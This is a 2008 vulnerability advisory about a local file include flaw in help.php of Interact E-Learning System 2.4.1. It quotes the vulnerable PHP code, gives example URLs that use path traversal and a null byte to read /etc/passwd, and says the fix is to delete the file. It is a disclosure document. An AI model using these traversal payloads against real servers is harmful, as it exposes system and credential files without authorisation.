[DSECRG-08-031] Local File Include Vulnerability in Interact 2.4.1

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-31

Application: Interact E-Learning System
Versions Affected: 2.4.1
Vendor URL: http://sourceforge.net/projects/cce-interact
Bug: Local File Include
Exploits: YES
Reported: 03.07.2008
Vendor response: 04.07.2008
Solution: YES
Date of Public Advisory: 21.07.2008
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description

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Interact E-Learning System system has local file include vulnerability in script help/help.php

Vulnerable GET parameters "module", "file".

Code

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#################################################

$module = isset($_GET['module']) ? $_GET['module']:'';
$file = isset($_GET['file']) ? $_GET['file']:'';

…

$hpath=$CONFIG['BASE_PATH'].'/language/'.$_SESSION['language'].'/help/'.$module.'/'.$file;
if (is_file($hpath)){
require_once($hpath);
} else {
require_once($CONFIG['BASE_PATH'].'/language/default/help/'.$module.'/'.$file);
}

#################################################

Example:

http://[server]/[installdir]/help/help.php?module=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00
http://[server]/[installdir]/help/help.php?file=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd

Solution

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This file is no longer required by the system. Remove it from installation.

Vendor response:

"I have posted an alert to users to remove this from their installations asap and will get it removed
from the next release of the package."

About

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